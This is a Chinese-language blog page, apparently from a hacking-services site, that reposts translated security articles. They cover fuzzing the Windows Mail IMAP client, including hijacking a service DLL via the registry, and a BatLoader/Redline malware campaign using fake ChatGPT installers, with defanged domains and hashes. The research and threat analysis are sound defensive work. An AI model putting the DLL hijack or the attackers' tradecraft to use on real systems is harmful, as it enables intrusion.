Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863287221

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

上一篇文章主要講的是理論上的可能性，本文，我們會詳細介紹實踐中遇到的一些挑戰。

挑戰1：可擴展存儲引擎緩存清理WindowsMail利用統一的存儲數據庫將電子郵件數據（例如電子郵件地址和消息）保存在本地文件系統中。此數據庫位於路徑%LOCALAPPDATA%\Comms\UnistoreDB\store.vol。可擴展存儲引擎(ESENT)使用專有的二進制格式為其數據結構構建數據庫。這種二進制格式可以使用像ESEDatabaseView這樣的工具來查看。使用ESENT的好處是它有一個緩存機制，可以最大限度地高性能訪問數據。這種緩存機制是我們遇到的第一個障礙。

在後台，緩存緩衝區根據系統服務啟動UserDataService時初始化的ESENT參數JET_paramVerPageSize分配一個大小。默認緩存大小為0x2000，必須與頁面大小粒度對齊。但是，這在WTF模糊器模塊的上下文中成為一個問題。

問題是，當緩存緩衝區已滿時，ESENT將工作項排隊以清除緩存緩衝區。工作項是程序可以提交給線程池的子例程。工作項是異步執行的，並且調度程序系統會根據系統資源的可用性發出警報。遺憾的是，這是一個複雜的機制，WTF模糊器無法模擬。因此，fuzzer模塊將在上下文切換時退出，當它碰到線程API（例如，KERNELBASE!QueueUserWorkItem）時退出。讓模糊器超越上下文切換是對CPU時間的浪費。這就是為什麼你應該在每個WTF模糊器模塊中找到類似的斷點處理程序的原因：

133.png

在上下文切換期間停止模糊器模塊的斷點處理程序

當發生意外的上下文切換時，開發者必須了解它發生的原因並實施解決方法以達到所需的代碼路徑。這可以通過分析WTF模糊器生成並由0vercl0k的Symbolizer後處理的覆蓋跟踪日誌來完成。下圖顯示了在上下文切換處停止的覆蓋跟踪日誌示例：

14.png

通過Symbolizer生成的覆蓋跟踪日誌示例

這裡沒有復雜的技巧來分析覆蓋跟踪日誌。我們只需進行回溯以定位模塊或函數轉換（即modA!funcnameX-modB!funcnameY）以發現上下文切換的原因。通常，我們將模塊文件加載到IDAPro中以統計研究和理解底層代碼。有時，執行靜態代碼分析可能還不夠，尤其是當代碼包含IDAPro無法自動解析的虛函數調用時。相反，你可以使用TTD來解析虛函數調用或探索執行的代碼。

15.png

覆蓋跟踪日誌揭示了上下文切換的原因

上圖顯示ESENT!CGPTaskManager:ErrTMPost+0xd4調用KERNELBASE!QueueUserWorkItem，本質上是在線程池隊列中放置一個可執行線程，而ESENT!CGPTaskManager:ErrTMPost是從ESENT!VER:VERSignalCleanup派生的。在深入分析該函數後，在TTD的幫助下，我們確定了ESENT!VER:VERSignalCleanup的目的是將當前緩衝區緩存大小與通過JET_paramVerPageSize指定的默認緩存大小進行比較。它調用QueueUserWorkItem來執行緩存清理線程，ESENT！ VER:VERIRCECleanProc，如果當前緩存緩衝區被填滿，最終會導致上下文切換。因此，我們面臨的挑戰是找到一種方法來防止觸發清理程序。

我們首先想到的是，最簡單的解決方法是將默認緩存大小從0x2000增加到其最大大小0x10000。從技術上講，數據庫引擎的配置設置可以根據MSDN文檔使用API JetSetSystemParameter進行調整。但是，我們無法通過使用外部程序來更改駐留在隔離的系統服務進程空間中的設置來實現這一目標。

16.1.png

16.2.png

16.3.png

清單3：顯示系統主機服務集數據庫引擎配置設置的調用堆棧

查看清單3中的調用堆棧，然後我們考慮通過劫持UserDataService並在數據庫引擎配置設置發生之前在ESENT.dll中的特定偏移處調整硬編碼的默認緩存大小來解決此問題。我們決定試一試。

劫持服務DLL很簡單。我們可以定位到目標服務註冊表項，定義如下：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=%SystemRoot%\System32\userdataservice.dll

當ServiceDLL條目調整為我們自定義的服務DLL文件時，它將變成：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=c:\userdatasvc\UserDataSvcProxy.dll

自定義服務DLL導出兩個強制模型函數，ServiceMain和SvchostPushServiceGlobals。修改上述註冊表項後，系統服務將加載自定義服務DLL，該DLL執行模型ServiceMain函數。模型ServiceMain函數將在ESENT.dll中的特定偏移處修補JET_paramVerPageSize。打補丁後，它會將執行傳遞給UserDataService導出的初始ServiceMain函數，並像往常一樣繼續它的初始例程。

17.1.png

17.2.png

17.3.png

清單4：顯示自定義服務DLL劫持UserDataService的調用堆棧

設置完後，我們針對新的快照映像運行模糊器模塊，並加載了自定義服務DLL，該DLL應將緩存大小調整為0x10000。但不幸的是，它仍然hits=清理過程。因此，我們需要找出另一種解決方法。

我們查看了ESENT!VER:VERSignalCleanup，但意識到該函數不返回調用函數的值，這使我們相信函數例程並不關心這個清理過程是否成功執行。最重要的是，它似乎不跟踪任何可能導致ESENT中意外行為的全局狀態或事件。考慮到這些，我們決定跳過這個清理過程，只需設置一個斷點來模擬這個函數，即在命中斷點時立即返回到調用者，如下圖所示：

18.png

跳過ESENT!VER:VERSignalCleanup以避免上下文切換

這樣，我們的模糊器模塊可以在清理過程之外執行，而無需點擊上下文切換！但是，需要注意的是，這可能會大大增加快照映像內的內存使用量。但這不應該給我們帶來任何潛在的問題，因為一旦完成模糊測試迭代，快照映像就會恢復到其原始狀態。換句話說，懸空緩存緩衝區可以忽略不計。

挑戰2：加載一個卸載的DLL並執行分頁內存如果你熟悉軟件模擬，就會明白讓模擬器的行為像本機計算機一樣是不可能的。同樣的事情也適用於WTF模糊器。當出現這種限制時，我們需要找到解決方法。但根據面臨的限制的複雜性，有些解決辦法可能很簡單，有些解決辦法就像調整快照映像一樣簡單。

我們遇到的下一個問題是，當WTF嘗試從文件系統加載已卸載的DLL文件時會發生上下文切換。同樣，我們通過分析覆蓋跟踪日誌和一些代碼片段確定了問題的根本原因，如下圖所示。從覆蓋跟踪日誌中，我們可以看出CoCreateInstanceAPI是從MCCSEngineShared!Decode2047Header+0xfe調用的。此COMAPI負責加載在類ID中指定的COM對象，在本例中為CLSID_CMultiLanguage。此類ID對應於C:\WINDOWS\SYSTEM32\mlang.dll。

19.png

加載卸載的DLL文件

有了這些信息，我們手動將COM對象DLL注入目標進程，將映像轉儲為新的快照，並對其進行測試。結果，它超越了MCCSEngineShared!Decode2047Header，但我們遇到了另一個問題。

20.png

由內存訪問錯誤導致的另一個上下文切換

查看上圖中的覆蓋跟踪日誌後，我們意識到發生了從用戶模式exsmime!CMimeReader:FindBoundary到內核模式nt!MiUserFault的異常代碼執行轉換。我們的經驗表明，模擬器可能已命中保留的內存地址或換出到頁面文件的內存地址。這是一種常見的Windows內存管理機制，出於性能原因將不經常使用的內存保留在頁面文件中。為了驗證這一點，我們使用WinDbg調試器加載內存轉儲並檢查在exsmime!CMimeReader:FindBoundary+0x4f處指定的代碼，如圖10所示。

21.png

調用虛函數時的內存訪問錯誤

它從虛函數表中調用虛函數，但虛函數的目的地exsmime!CHdrContentType:value是通過TTD快照確定的，如下圖所示：

22.png

使用TTD確定虛函數的目的地址

為了解決這個內存訪問問題，我們運行了lockmem實用程序，它確保指定進程的每個可用內存區域都將保留在內存中，因此它不會被寫入頁面文件，這會在訪問時引發頁面錯誤。為獲得最佳結果，始終建議執行完整的內存轉儲，以避免其他不可預見的內存訪問問題。當你對內核模式組件進行模糊測試時，此技巧特別有用。

挑戰3：註冊表掛鉤Windows註冊表是一個分層數據庫，用於存儲Windows操作系統和應用程序的低級設置。該數據庫將註冊表配置單元的信息保存在文件系統中。也就是說，註冊表操作在一定程度上涉及到I/O操作。由於模擬器都不支持這些操作，因此我們需要復制這些功能。

在撰寫本文時，WTF提供了一個fshook子系統來複製I/O操作，但不提供註冊表掛鉤（此後是reghook）。顯然，我們不能為reghook重用fshook，因為它們是不同的API，但我們可以將fshook中的一些實現調整為reghook。例如，我們可以重用fshook和RegHandleTable_t類中的偽句柄算法。 fshook和reghook之間的關鍵區別在於如何模擬預期內容（(即用於I/O操作的文件內容和用於註冊表操作的註冊表數據）。例如，對於reghook，如果註冊表操作要打開一個新句柄，則調用RegOpenKeyAPI來打開特定註冊表項的句柄。其對應的鉤子處理程序將API調用重定向到本機。換句話說，本機設備將嘗試使用本機API打開註冊表項，如果註冊表項存在，則返回句柄。打開的句柄對本機有效，但對作為內存轉儲的客戶機無效。因此，應該生成一個偽句柄並將其映射到本機句柄。

重申一下，當前的regook實現是不完整的，並且沒有針對其他目標進行全面測試。但是擴展現有的regook以支持其他註冊表API應該相當簡單。

奇特的RFC822.SIZE案例在部署和分發模糊器模塊後，我們開始收集模糊器收集的有趣輸入。從那裡，我們開始生成代碼跟踪，並使用Lighthouse插件將其加載到IDAPro中以進行進一步分析。

我們首先對InternetMail.dll進行逆向工程，以找到操縱變異輸入的代碼，特別是模糊器提供給目標的ResponseParams。此時，FETCH響應中的一個有趣的ResponseParams，RFC822.SIZE，立即引起了我們的注意。經查，RFC822.SIZE是FETCH命令的屬性之一，表示消息的大小。簡單地說，它告訴電子郵件客戶端到達客戶端的整個電子郵件消息的大小，包括電子郵件標題、內容和附件。

有趣的是，從清單5中的代碼片段來看，該值的代碼清理非常簡單，只需確保消息的大小不是4GB（基數為10的4294967295或32位十六進制的0xFFFFFFFF）即可。這樣做時會產生錯誤。

23.png

清單5：獲取RFC822.SIZE並將其保存在數據結構中

在(1)中，如果strtoul無法執行有效轉換，則返回零值。但是，似乎(2)中的代碼清理沒有意義，因為4294967294（32位十六進制中的0xFFFFFFFE）之類的值可能會繞過檢查並造成算術溢出，如果該值將用於某些算術運算代碼中的某處。在深入研究代碼後，我們只發現了一個操縱該值的函數。毫不奇怪，我們在這裡看到了相同的代碼清理。

24.1.png

24.2.png

清單6：HeaderParser:_PostNewMessageCreation操作RFC822.SIZE

在(A)中，從pImapSyncContext中檢索到v1指針，表明未知指針可能與某些保持某些同步狀態的數據結構有關。進一步查看代碼，我們在(B)和(C)中看到兩個算術運算。對於(B)，根據RFC822.SIZE的值進行增量操作，並將增量值的結果保存到v1指針，而RFC822.SIZE值在(C)中聚合。這似乎值得深入研究。

因此，我們準備了一個由多個FETCHResponseParams和偽造的RFC822.SIZE組成的IMAP數據包，然後使用TTD捕獲執行的代碼。

25.1.png

25.2.png

25.3.png

25.4.png

25.5.png

清單7：具有兩個FETCH響應參數的IMAP數據包使用偽造的RFC822.SIZE

26.1.png

26.2.png

26.3.png

清單8：調試器輸出顯示v1指針中RFC822.SIZE的聚合值

清單8中突出顯示的區域清楚地表明聚合值溢出了v1指針中的相鄰字段。但我們不確定被覆蓋的字段是否會帶來任何安全問題。因此，我們需要確定此原始內存的數據結構字段。我們使用TTD.Utility.GetHeapAddress來顯示堆的起始地址以及分配和初始化堆地址的位置。

27.1.png

27.2.png

v1指針的GetHeapAddress輸出和堆分配調用堆棧

根據TTD.Utility.GetHeapAddress的輸出，我們確定v1指針的起始堆地址為0x251a1f58f60，並從SYNCUTIL!SyncStatsHelpers:_LookupAccountSyncStats初始化。在這個函數中，我們意識到v1指針被傳遞給SYNCUTIL!SyncStatsHelpers:_LoadSyncStats，它將各種統計信息加載到v1指針引用的數據結構中。

28.1.png

28.2.png

28.3.png

HireHackking

網絡協議是一組規則，定義了用於解釋計算機發送的原始數據的標準格式和過程。網絡協議就像計算機的通用語言。網絡中的計算機可能使用截然不同的軟件和硬件；協議的作用就是使其可以相互通信。

許多網絡協議服務於不同的目的，其中一些可能很複雜。由於其固有的複雜性，網絡應用程序中的安全漏洞是不可避免的。與其他攻擊媒介相比，網絡應用程序中的安全漏洞通常會產生更顯著的安全影響，因為攻擊者可能能夠利用這些漏洞在易受攻擊的計算機上獲得遠程代碼執行狀態，而無需任何用戶交互。我們已經在現實生活中看到過此類攻擊，例如臭名昭著的WannaCry勒索軟件，它利用簡單消息塊(SMB)協議（稱為EternalBlue）通過加密數據和要求以比特幣加密貨幣支付贖金來攻擊MicrosoftWindows計算機。迄今為止，據估計，這種惡意軟件已經影響了150個國家的20多萬台電腦。

強化網絡應用程序是一項關鍵任務，可以最大限度地減少WannaCry等攻擊媒介。研究人員致力於確保使用網絡協議模糊測試等工具正確保護許多最流行的網絡應用程序。這種漏洞發現技術將格式錯誤的數據包發送到正在測試的應用程序，以發現網絡協議實現中的漏洞。發現並報告這些漏洞，特別是在常用應用程序中，有助於降低每個人的網絡風險。

Fortinet的研究人員與其他威脅研究團體一起幫助實現這一目標。在本博客中，我們記錄了審核和模糊測試MicrosoftInternet消息訪問協議(IMAP)客戶端協議的過程。雖然我們沒有發現任何新漏洞，但詳細的指南可以幫助其他人在他們的威脅發現和分析工具庫中添加或改進模糊技術策略。

為什麼選擇IMAP客戶端協議？網絡應用程序使用客戶端和服務器架構來交換數據。然而，即使它們共享相同的網絡協議規範，客戶端和服務器之間的數據解釋也是不同的。數據解釋通常由在各個組件中實現的解析器按照單獨的規範執行。因此，研究人員必須同時檢查客戶端和服務器，以確保解析器正確實現。

我們的經驗表明，在審計安全實現時，服務器比客戶端更受研究人員的關注。但是，不太安全的客戶端也可能包含可以被利用的高價值目標。但是由於我們沒有看到供應商公開報告的許多IMAP客戶端安全問題，我們決定研究IMAP客戶端實現，同時獲得一些關於開源模糊器WhatTheFuzz(WTF)的實踐經驗。 WTF是一種分佈式、代碼覆蓋引導、可定制、跨平台的基於快照的模糊器，旨在攻擊運行在MicrosoftWindows上的用戶或內核模式目標。

本文中沒有漏洞披露，因為我們沒有在MicrosoftIMAP客戶端中發現任何安全問題。但我們確實分享了一些兔子洞、我們遇到的限制以及調試WTF模糊器模塊的提示和技巧。我們還將介紹一個特別有趣的IMAP響應輸入的逆向過程，該輸入最初似乎很脆弱，但在深入研究代碼後發現是良性的。

了解基本IMAP協議IMAP客戶端支持用於不同IMAP操作的各種命令。客戶端命令開始一個操作並期望來自服務器的響應。每個客戶端命令都以稱為“標記”的標識符作為前綴。對於客戶端發送的每個命令，這個“標籤”應該是唯一的。通常，客戶端命令如下所示：

1.png

重要的是，客戶端必須嚴格按照規範遵循語法。發送缺少或無關的空格或參數的命令是一個語法錯誤。

IMAP連接包括建立客戶機/服務器網絡連接、來自服務器的初始問候以及客戶機/服務器交互。這些客戶機/服務器交互包括客戶機命令、服務器數據和服務器完成結果響應。

客戶端和服務器傳輸的所有交互都是行的形式，即以回車和換行結尾的字符串。

客戶端需要做的第一件事是在特定端口上與遠程服務器建立連接。在這種情況下，我們使用openssl從終端連接到自定義IMAP服務器。

2.png

注意到服務器狀態響應以“*”為前綴，稱為未標記響應，表示服務器問候，或服務器狀態不表示命令完成（例如，即將發生的系統關閉警報）。

客戶端通常發送的下一個命令是CAPABILITY。 CAPABILITY命令允許客戶端獲取服務器支持的功能列表。未在未標記響應中列出的任何功能都將被標記響應中指示的服務器視為BAD命令。

3.png

狀態響應可以加標籤或不加標籤。標記狀態響應指示客戶端命令的完成結果（OK、NO或BAD狀態），並具有與命令匹配的前綴標記。

客戶端必須先向IMAP服務器進行身份驗證，然後才能導航郵箱。有一些IMAP服務器實現允許匿名訪問某些郵箱。像下面的例子一樣，我們的自定義IMAP服務器允許匿名訪問。但是，值得注意的是，經過身份驗證的客戶端的功能列表通常與未經身份驗證的客戶端不同。登錄的客戶端通常包含更多來自IMAP服務器的未鎖定功能。

4.png

現在客戶端已登錄，它可以列出郵箱中存在的文件夾

5.png

這樣，我們就可以看到郵箱中存在的文件夾層次結構。文件夾具有名稱屬性，在括號中表示。一些屬性對於遍歷文件夾層次結構很有用，例如HasNoChildren和HasChilden。 HasNoChildren屬性的存在表明郵箱沒有當前經過身份驗證的客戶端可訪問的後來郵箱。

在知道郵箱的文件夾結構後，客戶端可以使用SELECT命令在該文件夾上打開一個會話，以便訪問郵箱中的郵件。

6.png

當返回選中狀態時，服務器必須先將上述未標記的數據發送給客戶端，然後再向客戶端返回OK。如果選擇狀態建立成功，則稱客戶端處於選擇狀態，可以從郵箱中搜索和下載消息。

7.png

SEARCH命令在郵箱中搜索與給定搜索條件匹配的郵件。搜索條件由一個或多個搜索關鍵字組成。它可以支持更全面的搜索條件，例如查找具有指定字段名稱的標題並且在標題的文本中包含指定字符串的消息。上面的示例顯示了最簡單形式的SEARCH命令，它將搜索服務器中的所有可用消息。未標記的響應表明自定義IMAP服務器中有一條消息可用。

一些客戶端提供電子郵件消息的預覽。這可以通過使用FETCH命令僅下載消息標頭來完成。而UIDFETCH命令將下載整個電子郵件消息並將其本地存儲在客戶端應用程序中。

8.png

IMAP客戶端—服務器的狀態和流程圖

使用IMAP客戶端模糊器的可能性在現代模糊控制中，需要有一個線束與主模糊控製程序一起驅動模糊控制操作。雖然這不是強制性的WTF模糊器，一個專用的模糊器模塊是必需的。如果你有AFL/WinAFL的經驗，很多時間將花費在編寫一個有效的harness程序上，但是你將花費大部分時間開發和排除WTF模糊器模塊的故障。在內部，WTF模糊器充當模擬器，以編程方式模擬由模糊器模塊驅動的內存轉儲中的代碼。基本上，模糊器模塊的核心由函數斷點和斷點處理程序組成。這些斷點處理程序由用於不同目的的邏輯組成，例如攔截和修改目標使用的輸入數據，以及復制功能(如I/O操作、註冊表操作和線程調度)。該項目的存儲庫為模糊器開發過程提供了全面的指導方針。

首先，必須確定要模糊化的目標組件，並轉儲一個虛擬映像的快照，以供模糊化模塊使用。根據來自項目存儲庫的文檔，該快照映像通常取自感興趣的目標模塊的入口點，其中解析器例程使用輸入數據。在MicrosoftIMAP客戶端中，InternetMail.dll是實現IMAP和POP3客戶端協議的目標組件。這個DLL模塊由Windows服務宿主進程託管，也被稱為svchost.exe。

WindowsMail是與該模塊交互的前端用戶界面(UI)，用戶可以通過該界面設置IMAP帳戶，並從郵件服務器下載郵件消息。在編寫我們的IMAP客戶端模糊器模塊時，我們遇到了許多障礙，幸運的是，其中一些在項目的問題跟踪器中有部分記錄。儘管大多數障礙都是針對於你所致力於的任何目標，我們認為記錄這些挑戰和我們的工作區可能會有所幫助。

為IMAP客戶端模糊器模塊開發做準備為WTF模糊器編寫一個模糊器模塊並不是一件容易的事。這是因為我們試圖從內存轉儲中模擬代碼。在軟件模擬世界中，你不能期望模擬代碼的行為與在本機設備上執行的代碼相同。因此，要使模擬按預期工作，需要解決許多障礙。因此，在開始之前確定適當的工具來跟踪和調試模糊器模塊是至關重要的。

WTF模糊器支持兩種類型的跟踪文件，覆蓋跟踪日誌和Tenet跟踪文件。基本上，覆蓋跟踪日誌包含模擬器正在執行的每條指令的跟踪。它有助於診斷大多數模糊器模塊問題。 Tenet跟踪文件包含每條執行的指令以及每條指令操作的內存/堆棧數據。 Tenet插件只能使用一個Tenet跟踪文件。 Tenet是一款出色的跟踪記錄和回放IDAPro插件，可用於離線調試。 WTF模糊器生成的Tenet跟踪文件可以通過IDAPro回放。這樣，它允許用戶探索已執行的代碼，甚至分析讀取/寫入內存/堆棧的數據，從而使調試和故障排除模糊器模塊變得更加容易。

但是，需要注意的是，如果記錄的跟踪文件太大，插件需要很長時間來處理它。例如，一個幾千兆字節的跟踪文件很容易占據大部分主機內存，這可能無法通過IDAPro重播跟踪。作為一種解決方法，我們向WTF模糊應答器引入了一個“——trace-start -address”命令行參數，以便模糊應答器只有在到達指定地址時才開始跟踪。這個新引入的命令行參數顯著減少了跟踪文件的大小。然而，這種過濾機制的結果在某些情況下並不是很成功。我們有時仍然會得到一個大的跟踪文件，因為所關心的函數中的起始地址不是唯一的。例如，函數可能會在多個不確定的位置觸發，導致跟踪器意外觸發，這就違背了我們的目標。

99.png

經過測試，我們發現WinDbg Preview中的time - trip - debugging (TTD)特性也可以用於離線調試。 WinDbg預覽將附加一個正在運行的進程，並在目標進程中註入一個TTD專有的跟踪DLL。注入的跟踪程序DLL負責捕獲目標進程的運行時執行，並將執行的代碼保存在存儲在物理磁盤中的跟踪文件中。為了模擬這個過程，我們創建了一個簡單的IMAP服務器，它讀取以JSON格式定義的IMAP數據包，並在IMAP連接建立時將數據包發送給連接的客戶端Windows Mail。同時，WinDbg Preview被附加到Windows主機進程，用於服務記錄代碼執行情況。這種方法的缺點是每次只能手動生成一個執行跟踪。但是，TTD仍然是一個有用的特性，可以補充離線調試體驗。

10.png

為目標可執行文件生成代碼執行跟踪的替代方法

另一個用例通過比較TTD和Tenet生成的跟踪信息，利用差異調試技術對模糊器模塊產生的更多問題進行深度故障排除。儘管如此，Tenet仍然是在模糊器模塊開發過程中產生跟踪文件來調試更複雜問題的首選。

接下來我們將分享一些技巧，這些技巧可以直接從覆蓋跟踪日誌中而不是使用Tenet跟踪文件來確定一些更明顯的問題。這有望為你節省模糊器模塊開發的時間。

開發IMAP客戶端模糊器模塊WTF模糊器模塊在WTF框架之上運行。每個模糊器模塊必須實現WTF框架註冊的回調函數，然後由WTF可執行文件觸發。

IMAP包括創建、刪除和重命名郵箱、檢查新消息、永久刪除消息、設置和清除標誌以及選擇性獲取消息屬性和文本的操作。因此，為IMAP協議實施一個全面的突變策略可能會耗時。在本例中，我們只關注Windows Mail用於與IMAP服務器交互的特定IMAP命令。首先，我們將WinDbg預覽調試器附加到目標進程，以生成Windows Mail與真實的IMAP服務器(Gmail)交互的執行跟踪，以收集IMAP事務中的典型命令。清單1顯示了調試器的輸出，包括由Windows Mail客戶機發送到Gmail服務器的IMAP命令。

11.1.png

11.2.png

清單1：WindowsMail客戶端發送的調試器輸出IMAP命令

這樣我們的變異方法側重於NAMESPACE、LIST、SELECT、SEARCH和FETCH命令的IMAP響應。我們決定跳過對UIDFETCH命令的模糊測試，因為此響應處理程序涉及對本地文件系統中的消息數據庫的讀/寫。不幸的是，即使WTF默認提供了I/O子系統模擬框架，對於我們的案例來說，這個操作也無法輕鬆實現。我們認為這是一種合理的權衡，因為大多數重要的解析操作(如消息頭解析器)都在FETCH命令中進行。

IMAP數據包由此處規範定義的一系列結構化文本消息組成。因此，我們的IMAP數據包變異策略也需要具有結構感知能力。受著名的結構感知突變庫libprotobuf-mutator的啟發，我們使用JSON文件格式來存儲每個突變的IMAP響應。這個JSON文件將作為模糊器模塊的輸入測試用例。根據規範，JSON對象的關鍵組件是ResponseParams，它由IMAP客戶端將解釋的核心數據組成。儘管如此，我們的突變器將專注於從ResponseParams、ResponseStatus和ResponseType中改變數據。

12.1.png

12.2.png

12.3.png

12.4.png

12.5.png

清單2：示例IMAP響應輸入測試用例

本文主要講的是理論上的可能性，下一篇文章，我們會詳細介紹實踐中遇到的一些挑戰。

HireHackking

5月初，eSentire威脅響應小組（TRU）發現了一起進行中的BatLoader活動，該活動利用谷歌搜索廣告來投遞冒充ChatGPT和Midjourney的虛假網頁：

• ChatGPT是一款人工智能聊天機器人，於2022年11月發布，自那以後就大受歡迎。

• Midjourney是一項生成式人工智能服務，通過該服務，用戶可以提交文本提示來生成圖像。

這兩種AI服務都極受歡迎，但缺少第一方獨立應用程序（即用戶通過其Web界面與ChatGPT進行交互，而Midjourney使用Discord）。

威脅分子利用了這一空檔，企圖將尋找AI應用程序的網民吸引到推廣宣傳虛假應用程序的冒充網頁。

在最新的活動中，BatLoader使用MSIX Windows應用程序安裝程序文件用Redline信息竊取器感染設備。這不是BatLoader第一次針對搜索AI工具的用戶了。在2023年2月，TRU發現了一系列新註冊的BatLoader域名，其中包括chatgpt-t[.]com。

概述ChatGPT冒充廣告引起的Redline感染初始下載在這個例子中，感染可以追溯到谷歌搜索“chatbpt”，這將人引到託管在hxxps://pcmartusa[.]com/gpt/上的ChatGPT冒充下載頁面：

1.png

圖1. ChatGPT冒充頁面。

下載鏈接指向advert-job[.]ru，然後指向代表最終攻擊載荷的job-lionserver[.]site。 job-lionserver[.]site之前被稱為是BatLoader攻擊載荷網站。

2.png

圖2. 追根溯源後發現，HTTP事務指向job-lionserver[.]site上的最終下載。

Chat-GPT-x64.msixChat-GPT-x64.msix（md5hash：86a9728fd66d70f0ce8ef945726c2b77）是一種用於安裝應用程序的Windows應用程序包格式。

3.png

圖3. Chat-GPT-x64.msix文件屬性。

Windows要求組成MSIX應用程序的所有文件都使用一個通用簽名進行簽名。該包由ASHANA GLOBAL LTD數字簽名：

4.png

圖4. Chat-GPT-x64.msix簽名細節。

仔細檢查該包的內容，我們可以看到安裝過程中使用的各項資產：

5.png

圖5. MSIX包中的應用程序資產。

查看AppXManifest文件，我們可以看到該包由一個說俄語的人使用帶有專業許可證的高級安裝程序（Advanced Installer）版本20.2創建而成

6.png

圖6. MSIX文件屬性。

7.png

圖7. MSIX文件屬性和元數據。

在高級安裝程序中打開包，我們可以看到該應用程序將啟動一個可執行文件（ChatGPT.exe）和一個PowerShell腳本（Chat.ps1）。

8.png

圖8. Chat-GPT-x64.msix起始點和權限。

9.png

圖9. 安裝過程中執行的Chat-GPT-x64.msix PowerShell指令

安裝程序還將使用ChatGPT徽標，針對2018年10月更新-1809和2022年10月更新- 22H2之間的Windows桌面版本。

點擊安裝程序文件將啟動Windows應用程序安裝程序嚮導：

10.png

圖10. Windows 10應用程序安裝程序嚮導。該應用程序由ASHANA GLOBAL LTD.簽名。

文件簽名對於MSIX包而言至關重要，安裝程序不允許你在沒有可信證書籤名的情況下執行下一步（Windows 10要求所有應用程序都使用有效的代碼簽名證書進行簽名）。

11.png

圖11. 若沒有有效的簽名，Chat-GPT-x64.msix安裝將無法進行下去。

在安裝過程中，Chat.ps1和ChatGPT.exe在aistubx64.exe的上下文中執行。

12.png

圖12. Process Hacker輸出顯示安裝過程中PowerShell的執行行為。

Chat.ps1是一個基本的PowerShell下載載體。在這種情況下，它下載Redline信息竊取器，並將其從adv-pardorudy[.]ru下載到內存中。腳本還執行對C2提出的兩個請求：

• Start.php：記錄感染的開始時間以及受害者的IP地址。

• Install.php：記錄攻擊載荷在adv-pardorudy[.]ru上的成功安裝、安裝時間以及受害者的IP地址。

攻擊者執行這些操作是為了便於跟踪統計信息，從而使他們能夠輕鬆識別成功感染的受害者，並圍繞特定的活動或主題跟踪度量指標。

13.png

圖13. Chat.ps1使用三個web請求來表示感染開始、攻擊載荷檢索和Redline的成功安裝。

這個Redline樣本（md5hash 7716F2344BCEBD4B040077FC00FDB543）經配置後，使用Bot ID“ChatGPT_Mid”連接到IP 185.161.248[.]81，這個Bot ID暗指這起活動中使用的兩個誘餌（ChatGPT和MidJourney）。

14.png

圖14. Redline文件屬性。

仔細檢查ChatGPT.exe，TRU發現該可執行文件使用Microsoft Edge WebView2，在安裝後的彈出窗口中加載https://chat.openai.com/。

15.png

圖15. 進程樹顯示ChatGPT.exe在精簡的瀏覽器中加載實際的ChatGPT網頁。

其主要功能是轉移用戶的注意力，確保他們安裝了一個有效的應用程序。結果是彈出的窗口含有嵌入在基本瀏覽器窗口中的實際ChatGPT網頁。這個可執行文件的其他功能目前不得而知。

16.png

圖16. 安裝後的Chatgpt.exe窗口。 https://chat.openai.com/使用Microsoft Edge WebView2來加以顯示。

Midjourney冒充廣告引起的Redline感染在2023年5月的另一個案例中，TRU觀察到類似的感染陰謀，企圖推廣宣傳Midjourney冒充頁面。這導致用戶下載Midjourney-x64.msix，這是由ASHANA GLOBAL LTD.簽名的Windows應用程序包。

17.png

圖17. Midjourney-x64.msix安裝。

在這個案例中，安裝程序執行一個經過混淆處理的PowerShell腳本（Chat-Ready.ps1），該腳本最終與圖13中所示的腳本相同，只是使用了不同的C2域。

18.png

圖18. Midjourney-x64.msix PowerShell執行。

19.png

圖19. 安裝後的midjourney.exe。在精簡版瀏覽器窗口中加載https://www.midjourney.com/。

我們做了什麼？ • TRU針對全球客戶的環境進行了積極主動的威脅搜索，以搜索已識別的應用程序包。

• 我們部署了新的檢測內容來識別MSIX應用程序包濫用活動。

• 我們的24/7全天候SOC網絡分析師團隊提醒受影響的客戶，並提供了補救指導和支持。

你能從中學到什麼？ • 生成式AI技術和聊天機器人在2023年大受歡迎。遺憾的是，當系統管理員想方設法控制對這些平台的訪問時，用戶可能會另闢蹊徑以訪問它們。

• 威脅分子一直熱衷於利用這些大受歡迎的工具，承諾無限制地訪問。

• 我們的遙測數據顯示，濫用谷歌搜索廣告的現像在2022年第四季度和2023年初達到了頂峰。成功率已有所下降，這表明谷歌已經對濫用其廣告服務的行為進行了打壓。然而，最近這起活動表明，惡意廣告仍然可以避開審核員的視線，向受害者投遞惡意軟件。

該活動與之前發現的BatLoader活動有幾個相似之處：1. 使用谷歌搜索廣告冒充主要的品牌和服務。

2. 使用高級安裝程序創建安裝包。

3. 攻擊載荷站點job-lionserver[.]site以前歸因於BatLoader。

4. 竊取信息的惡意軟件攻擊載荷。

我們威脅響應小組（TRU）團隊的建議：• 提高對偽裝成合法應用程序的惡意軟件的意識，並在貴公司的網絡釣魚和安全意識培訓（PSAT）計劃中加入相關示例，以教育員工如何保護自己免受類似的網絡威脅。

○切記，一項有效的PSAT計劃強調通過提高風險意識來確保網絡彈性，而不是試圖把每個人都變成安全專家。

• 保護端點免受惡意軟件侵害。

○確保反病毒特徵是最新的。

○使用下一代反病毒軟件（NGAV）或端點檢測和響應（EDR）產品來檢測和遏制威脅。

• Windows Defender應用程序控制提供了管理打包應用程序（MSIX）的選項。詳見https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control。

HireHackking

sl-magic-book-blue-code-1200x600.jpg

今年3月，卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動，該活動涉及使用PowerMagic和CommonMagic植入程序。然而，當時還不清楚是哪個組織發起了這次攻擊。

在尋找與PowerMagic和CommonMagic相似的植入程序時，研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是，受害者廣泛分佈在俄烏衝突地區。目標包括個人，以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。

